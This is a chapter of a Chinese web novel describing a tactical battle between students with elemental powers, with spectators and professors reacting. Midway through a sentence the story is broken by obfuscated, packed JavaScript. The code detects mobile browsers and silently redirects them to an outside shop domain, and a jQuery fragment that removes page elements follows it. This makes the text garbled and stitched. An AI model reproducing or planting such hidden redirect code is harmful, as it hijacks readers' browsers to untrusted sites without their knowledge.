林亦可出现在对方木系的视野边缘。
她不是突然冒出来的,她的位置刚好在凯瑟琳刚才风刃被接住的区域附近。
那是一个很微妙的位置,既不是攻击位,也不是撤退位,像是一个人站在你门口,既不敲门也不走远,就那么站着,让你没法不去想她到底要干嘛。
对方木系在那一瞬间出现了短暂的犹豫,他在防守自己的正前方和警惕这个突然出现的女人之间摇摆了不到三秒,赵天明就在这个时候动手了。
一道火球从他侧翼切出,是落在木系和冰系之间的空隙处。没有造成什么实质伤害,但足以把对方冰系的注意力向火球的方向牵引了几秒。
孙小胖在赵天明动手的瞬间也进行了下一步动作。
一道从他脚下延伸出去的通道正沿着他这周目反复测算过的路线向前推进。
林亦可在队伍后方看到孙小胖正在地下推进的轨迹线,那条线在地面以下大约四十厘米的位置延伸,他的速度不慢,通道不长,也不深,刚好够他一个人从那道缝隙下方穿了过去。
朱婷婷一直在给赵天明降温。她的水雾在赵天明连续输出三发火球后罩在他周围,她每一次喷水都踩在赵天明刚刚打完一波攻击的间隙里,让他的异能核心的温度始终维持在可控范围内,不至于因为过热而透支。
赵天明能感觉到自己的异能核心温度始终维持在可控范围内,他不需要回头看,他只需要知道朱婷婷还在那里,他就敢继续往前压。
凯瑟琳在高处看到了孙小胖正在从地面下方绕向对方后排。她她调整了风刃的角度,每一次释放都在不同的高度、不同的方向,从正前方斜切、从左侧低角度切入、从上方垂直下落,从四个方向交替骚扰对方土系的感知覆盖范围,让对方无法长时间集中精力锁定孙小胖的移动方向。
林亦可站在那片区域边缘。她没有移动太大范围,她在风系队长和雷系的缠斗外围十步左右的位置,持续释放一道极低频的木系能量脉冲。那道脉冲无法被肉眼捕捉,但她能通过它感知到整个场上的能量走向,风系队长的速度、火系的输出节奏、土系墙体升起的频率,冰系正在蓄力的位置,这些信息正在不断地向她汇聚。
林亦可注意到对方冰系的站位正在缓慢后移。
赵天明每一次火球出手,冰系的位置都会往后缩一点,压缩幅度还不大,她发现同一块区域,第二次被踩的时候,脚印比第一次更浅。
林亦可在等那个冰系队员被压缩到无法维持原定防御范围的临界点。
那个点不是很远,他的后脚跟已经快要碰到后场线了。
然后她动手了。
藤蔓从对方木系的脚下破土而出。她的发力方式很克制,让那道藤蔓缓慢地顶破表层,而不是突然炸开。
对方木系见状,也开始行动了。
他及时展开藤网防御,他的反应很快,那张藤网在他身前铺展开来,严密地封锁了正面所有角度。
然而林亦可的藤蔓在即将接触到对方防御网的前一刻改变了方向,她没有攻击木系,而是从木系防御网的下方穿过去,卷住了冰系的脚踝。
冰系正在蓄力准备对赵天明的位置释放控制技能,他的异能集中在前方,侧面和脚下是相对薄弱的。藤蔓缠上脚踝的那一刻,他的异能释放被打断了一瞬。
对方木系反应过来,他的藤网转向下方,试图切断那道藤蔓。但林亦可的藤蔓在被切断之前已经完成了它的任务,冰系的站位偏移了半步。
赵天明在那一瞬推出一道火球,瞄准冰系原本站位后方正在上升的土墙根部。
由于冰系偏移的这半个脚掌的距离,土墙的根部露出了一个小小的衔接缝隙,那道火球准确地穿过了缝隙。
54号的土系闷哼了一声。他的墙体在那一侧出现了细微的裂痕。
此时此刻,看台上的声音也发生了变化。
有人在坐直身体,有人在和旁边的人交换眼神,有个原本靠在座椅上玩光脑的学生坐直了身体,他的光脑屏幕还亮着,但他的目光已经不在屏幕上了。
“刚才那一下,林亦可的藤蔓是从侧面穿过去的?”
“她预判了土墙的衔接位置,不然没可能那么准吧!”
“那得提前多久算好啊……?而且,她不可能实时判断出每面墙的升起的角度吧?”
“垃圾队的指挥真的只有C级?”
“所以她说不是运气……她就是算到的。”
“垃圾队的指挥……真的是C级?”
有人在心里默默把那个C字重新读了一遍。
教授席那边,一位鬓角花白的教授正在低头看光脑上的场地数据回放,他的食指在空中划了一下,把刚才那一段放慢了再看了一遍。然后他没有说话,只是把光脑放在腿上,继续看着场地。他旁边那位正在调整光脑的角度,像是在截图。
贺教授不知什么时候站在了看台后方的栏杆边。他手里没有拿记录板,他的目光落在场地中央那个正在回收藤蔓的身影上。
他的表情没有变化,他没有评价,没有出声,只是站在那里看完了那一整段过程,然后他的目光短暂地从场地中央移开,偏过头,扫了一眼全明星队座位方向某个人的侧脸。那个动作很短,短到如果没有人专门盯着他看根本不会注意到。
全明星队那边,莉莉撑着星娜的肩膀,她的嘴巴微微张着,像是想说什么但又没找到合适的词。星娜的目光很专注,她正在看孙小胖从地下通道中探出头来;庄宴坐在他的位置上,他没有看54号的队长,从头到尾他一直在看林亦可,看她收回藤蔓后重新调整站位时那一步的位置和时机;陆岩坐在后排,他看着场地中央那道正在缓缓回缩的藤蔓残骸。
陈茵茵也在看。她坐在靠前的位置,双手交叠放在膝盖上。她看到林亦可站在场地中央,被木系藤网卷断的藤蔓残骸正在她脚边慢慢枯黄卷曲,但她已经在下一拍重新张开了新的藤蔓。
比赛还在继续,而她真正想要的,或许不是林亦可拥有的一切,而是像她一样拥有“自己也能站稳”的力量。
她低下头,看着自己的手,慢慢攥紧了。她感觉到自己的目光没有在庄宴身上停留,没有在伊森身上停留,也没有在看台上的任何一个人身上停留。她第一次发现——当她不把目光放在别人身上的时候,她能更清楚地看见自己。
比赛的声音在看台上形成一层持续的嗡嗡响。赵天明在火系和土系的夹击中切出一道弧线,他的火焰在第二次和第三次释放之间的间隔正在变短;孙小胖已经从地下通道中探出了头,正在缓慢调整他的位置;朱婷婷的水雾覆盖了北侧半场——很薄,但已经足以让对方的雷系在移动时产生细微的偏差;凯瑟琳在高处持续释放干扰;伊森依然和54号的队长保持着那种无声的、节奏性的对峙。
林亦可站在队伍的中央。她正在回收刚才被切断的藤蔓残余,她的目光在场上快速移动,她感觉到了——对面那道防线的缝隙正在变大。她很平静,只是觉得自己可以把那道缝隙撬得更开一些。
“赵天明,”她说,“左边两步。”
赵天明往左移动两步,一道冰刺从他刚才站立的位置刺出来,落空。他看着那道冰刺,手里握着一团还在燃烧的火焰,心里涌起一股说不清道不明的底气——队长在后面,她说往左就走左,她说往右就走右,她喊他“左边两步”的时候,他不用看也知道,她正在他身后不远处,正把他的移动纳入她视野中央的整体框架中。
他感觉到防护服的蓝色光带正在稳定地流动,像是有人正在给他的每一步都标好了坐标。他抬起头,看着对面那道正在重新闭合的缝隙,然后重新压低重心,像是确认自己正站在一片他已经不再陌生的地面上。
比赛进入后半段的时候,看台上的声音变了。
刚才那种"54号稳赢"的笃定正在消散,取而代之的是一种更复杂的氛围——有人在交换眼神,有人在调整坐姿,有人干脆站了起来。他们看到54号的阵型正在出现裂痕,那种裂痕不是突然崩开的,是一条一条像被反复拉伸的面料边缘一样,正在缓慢而持续地露出内部的丝线。
赵天明已经连续输出了七道火球。他的呼吸比刚才重了一些,防护服的蓝色光带正在以肉眼可见的速度变暗——那是能量消耗过半的信号。但他没有停。他知道朱婷婷正在他身后,他能感觉到每次他打完一波攻击之后,总会有一层凉丝丝的水雾从后侧方罩过来,不重,刚好够他降温。他没有回头,他只是把每一次降温都当作下一波攻击的信号。
孙小胖从地下通道中探出头来的时候,脸上沾了一层土,头发上也落着细碎的砂砾,他的呼吸比赵天明更重一些,但他的手还按在地面上。他能感觉到对方土系正在试图修补那条墙体裂缝,但每一次他准备引导异能填补上去的时候,孙小胖就会在另一个方向轻轻扰动一下土层——不是阻止,只是拖延。
凯瑟琳在高处持续释放风刃,但她的角度一直在变,从最开始的正向切入改为从侧下方斜向切入,每一次出手的位置都比上一次更低一些,像是正在不断下探对方防线的底部。
伊森和54号的队长还在缠斗。那道雷光依然精准,每一次都恰好封住对方下一步要切入的方向,但两人之间的距离正在以一种缓慢但确实的方式在缩小,像是伊森正在他的压制中向某个更近的位置移动,依然没有露出全力,但他在一点点地收紧他控制的范围。
林亦可站在场地中央。她的藤蔓刚才被木系切断的残骸还在地面上缓慢枯黄卷曲,但她已经在下一拍重新张开了新的藤蔓——比刚才更细、更轻,像是正在适应对方的节奏。她的目光没有停留在木系身上,她在看冰系的位置变化。她在等待一个时机。
对方队长和伊森正在对峙,风系队长的攻击频率比开场时高了一截——他正在试图打破那道雷光的防线。伊森没有后退,他就站在那个位置上,雷光从掌心释放,刚好挡住队长的每一次移动。他的步伐非常稳,每一次落脚都落在同一个位置,像是把自己钉在了地面上。两道力量在空中交汇,像两股方向相反的激流在同一个狭窄的峡口相撞。
林亦可看到了那个时机。对方冰系的注意力正在被赵天明吸引——那道火球刚刚从他左侧擦过,他正在调整自己的方位。他的脚底踩到了一处被朱婷婷提前弄湿的地面,重心发生了极轻微的偏移。
林亦可的藤蔓在那一瞬间切了过去。她这一次没有卷向冰系的脚踝,而是沿着他重心偏移的方向,卷住了他脚边一小块尚未站稳的地面——让他无法在那个不稳定的位置重新找到平衡。冰系的身体微晃了一下,他试图释放一道冰墙来稳住自己,但赵天明在他蓄力的那一瞬又推出一道火球——精准地落在他即将释放冰墙的位置。他的异能被打断了,身体因为重心不稳而出现了短暂的前倾。
林亦可没有等他自己站稳。她的藤蔓没有攻击,而是锁住了他脚下那块地面的稳定性。冰系的前倾动作被那一道锁定的力量拖住了,他无法立刻借力后撤,也无法顺势向前。他被困在一个非常小的区域里,像是一枚被夹在两块微小的磁铁之间的铁屑,不致命,但足以让他无法完成下一个动作。
54号的木系反应过来,试图从侧面用藤蔓切断林亦可的控制。他的藤网在空中展开,迅速覆盖那片区域。但林亦可在他落网之前已经收回了自己的藤蔓,那根原本锁住冰系的地面被解开了,木系的藤网落下去的时候扑了个空,只缠住了一片空荡荡的地面。
凯瑟琳在那一瞬间动了。她不需要林亦可出声,她看到那条藤网落空的时候,她的风刃已经切了下去。风刃落点在木系后撤的路线上,那是一个很难被及时封住的位置,木系的后撤被打断了,他的身体在那一瞬微微侧倾了一下。
孙小胖从他的备用通道里伸出了手。那只手上全是土,但很稳,他一把抓住了木系的后脚跟。木系被扯了一下,身体在重心不稳中微微后仰,他下意识伸手想要扶住地面,但他的手刚触到地面就被一层细密的翠绿色藤蔓缠住了手腕。林亦可的藤蔓在那一瞬间比木系的反应快了不到半拍,刚好卡在他试图重新稳定自己的动作之前。木系被按住了,他的藤网在空中顿了一下。
赵天明在那一瞬间推出一道火球——他等的就是这一刻——那道火球的轨迹是从侧面切过去的,落点不是在木系身上,而是落在木系和冰系之间的连接线上。冰系刚刚从地面被解锁的状态中恢复过来,还没能完全稳定自己的站位,那道火球落在他和木系之间,把两人之间的异能通道切断了。
54号队长的目光在那一瞬间偏了一瞬。他听到了——他的队伍正在被拆解,他的注意力被短暂地牵引了一下。伊森捕捉到了那个瞬间,雷光从他指尖弹出的时机刚好卡在队长的注意力偏移刚刚开始还没有完成回收的那个空档,精准地落在了队长侧翼的移动路线上。队长被迫改变方向,他的速度出现了短暂的中断。
林亦可没有回头看。她听到身后那道雷光发出的轻微噼啪声,她知道伊森正在执行他的部分。她的目光依然锁定在木系身上,那道藤蔓正在缓慢收紧,木系的手腕被固定住了,他无法再释放新的藤网,只能把异能集中在破解林亦可那道藤蔓上。但他需要时间。
朱婷婷在那几秒里做了一件很小的事——她把赵天明周围那片地面彻底弄湿了,不是为了让谁滑倒,只是让他脚下的温度降下来。赵天明感觉到脚底传来的一阵凉意,防护服的蓝色光带比刚才亮了一点点——不是能量恢复,是热量被带走了,他感觉到自己那团快要烧干的小火苗,又能在掌心站住一瞬了。
他在那片湿润的地面上调整了自己的重心,火球在他掌心重新凝聚。他推出去的时候方向不是木系,是木系和土系之间那条正在尝试重新连接的能量线,那条线被火球
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685888|205911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
擦过的时候出现了一次短暂的波动。
赛场上出现了短暂的停顿。不是比赛被叫停,是双方都在那一瞬间进入了某种重新评估的状态。54号的队长在后退中站定,他的目光正快速扫过垃圾队的阵型。他正在重新计算——对方的节奏已经不在他的预期范围内了。
对方土系的墙体正在缓慢修复,但速度比之前慢了,裂缝没有被完全封住。林亦可看到了那道裂缝。她不需要说话,她只需要让她的藤蔓在下一个回合中,出现在那道裂缝的方向上。孙小胖已经沿着备用通道绕到了他想要的位置,那道裂缝的边缘正在他脚下的区域范围内。他的手指按在土层上,异能顺着那道裂缝的边缘延伸出去,墙体出现了二次断裂,那道裂缝正在扩大。
赵天明在墙体裂缝扩大的瞬间切了进去,防护服的蓝色光带正在急速变暗——那是能量即将见底的信号,但他没有停。他沿着那道裂缝冲过去的时候,54号的土系正在试图修复墙体,但林亦可的藤蔓在那一瞬间缠上了冰系失去平衡之后留出的防御空隙。林亦可的目标不是任何一个人,她只是用藤蔓铺开了一片极薄的控制网,那片网没有攻击任何方向,它只是停留在那里,让对方的行动产生微小的犹豫。
54号的土系被迫调整他的防御方向,墙体修复被中断了。那道裂缝在孙小胖的持续扰动下正在扩大,赵天明已经穿了过去,那片薄薄的藤蔓网还在空中悬浮着,像一层正在缓慢沉降的雾。
54号队长在那一刻做出了一个判断——他要越过伊森,直接压制林亦可。他的身体在风系气流的裹挟下从伊森的压制范围边缘切出一道弧线,速度快到空气在他身后形成了一道短暂的真空带。林亦可已经感觉到了——她不需要回头,她能感觉到风正在改变方向。她的身体在那一瞬间做出反应,她把重心向前压去,让自己看起来像是在向前移动,但她的脚步却在接触地面的瞬间向斜后方偏转。那道弧线在她身侧擦过,她感觉到一阵风刮过她的耳侧,像一把刀从很近的地方划过。
伊森的雷光在那道弧线的末端追上了队长的位置。那道雷光很精准,落在他收势的那一瞬,打断了他的后续衔接。队长被迫重新拉开距离,他的呼吸比之前重了一些,林亦可在他的脚步节奏中听出了正在上升的喘息频率——那意味着他的高速消耗正在拉近与赵天明之间的异能差距。
看台上的声音正在变大,大到无论你坐在哪个角落都能感受到场地中央那些细微的震动。
“54号被打乱了?”
“不是被打乱——他们还能撑,但他们现在不是在‘打’,是在‘应对’。”
“垃圾队怎么做到的?”
“他们的指挥全程没有断过,每一个人的位置都在变化。”
教授席那边的几位教授正在低声交换意见。一位鬓角花白的教授手里拿着光脑,他在看垃圾队每个人的位置记录——那些标注在场地分区图上的坐标点,每一个都在持续移动,没有一个人是静止的。“一直在动。”
旁边那位教授微微点头:“他们的节奏控制得不错。”
贺教授依然站在看台后方的栏杆边。他看着场地中央那片正在缓慢沉降的藤蔓网,他的表情没有变化,但他的目光在那张网上停了一会儿。他偏过头,扫了一眼林亦可的站位,她在队伍偏后的位置,步伐平稳,呼吸均匀。他的手指在栏杆上轻轻按了一下,然后收回去。
东侧看台上,全明星队的座位区有人在说话。莉莉正撑着星娜的肩膀,她的嘴巴微张,像是想说什么但还没找到合适的词。星娜没有回答,她的目光正在看孙小胖从地下通道中探出头来的位置,他刚从墙体裂缝的另一侧露脸,正在重新调整自己的方位。
庄宴坐在稍靠后的位置上,他的坐姿比开场时前倾了一点。他的目光不在54号队长身上,他在看林亦可收回藤蔓后调整站位时那一步的位置,他在看她的目光选择:她刚刚没有去看冰系,她刚刚在看的是土系修复裂缝的方向。
陆岩坐在后排,他的目光很平稳,像是在看一场他已经在心里推演过的棋局。从开场到现在,他的身体几乎没有移动过,但当那道薄薄的藤蔓网悬停在木系和冰系之间的空隙处时,他的手指在膝盖上轻轻敲了一下——不是紧张,更像是在确认他的某个推断。
陈茵茵坐在靠前的位置。她的双手交叠放在膝盖上,她看着林亦可站在场地中央,看着她在对方的木系藤网快要落下来的时候先一步收回了自己的藤蔓。她没有移开目光。她的视线没有落在庄宴身上,没有落在伊森身上,没有落在任何一位看台上的观众身上。她只是看着林亦可,像是在看一面映着她自己的镜子,在确认映在里面的那个人的轮廓已经开始发生变化了。
比赛进入最后阶段。54号的墙体裂缝还在缓慢扩大,木系的手腕还被林亦可的藤蔓固定着,没有完全挣脱,冰系的位置已经后撤了很大一段距离,他正在试图重新找稳自己的位置。对方的防线正在缓慢后移,54号的阵型正在向自己的半场收缩。
赵天明站在那片湿润的地面上,他的呼吸已经很重了,但他能感觉到自己的位置比开场时向前推进了不少。那道墙体的裂缝就在他面前不远处,他的掌心那团火焰已经比刚才小了很多,但还在烧着。他微微侧过头,用余光扫了一下身后的位置。林亦可站在他侧后方不远处,她的目光落在对方正在后撤的阵型上。她开口了,声音不大,但刚好能穿过场上的声音落在他的位置:“赵天明,再打一次。方向不变。”
赵天明没有回答。他只是把那团火焰重新推向那道裂缝的位置,方向不变,他已经不需要确认那个方向是否正确了。
54号的土系在那道火球落向墙体裂缝的时候被迫做出了一个选择,他可以选择修补墙体,也可以选择把防御力量转移到木系被锁住的位置。他选择了木系。墙体裂缝在那一瞬间扩大了一些。
孙小胖在那一瞬间从裂缝边缘伸手卡住了墙体底部的土层,然后往自己这边拉了一下。裂缝没有完全撕开,但已经足够让赵天明把那道火球塞进墙体后面的区域。
54号的木系手腕上的藤蔓在那一瞬间被解开了——不是被挣脱的,是林亦可主动收回的。木系在手腕恢复自由的瞬间下意识地展开了藤网,准备覆盖自己前方的防御区域。但他的藤网刚刚展开,就被凯瑟琳的风刃从侧翼切断了边缘。凯瑟琳的风刃精准地卡在藤网展开的瞬间,风刃切入的位置正好是藤网最薄弱的衔接点,那张网在空中顿了一下。
林亦可的藤蔓在那一瞬间重新展开,没有攻击,只是铺开,覆盖在刚才凯瑟琳切出的那道切口上方。对方木系的藤网被压住了,他的后撤路线被封住了。赵天明从那道墙体裂缝中穿过去了。那道裂缝虽然不大,但已经足够他通过。他在穿过墙体之后在对方后排站稳了,他的掌心火焰正在重新凝聚。他从那个方向看到了54号队长的后背,火焰从他掌心推出去。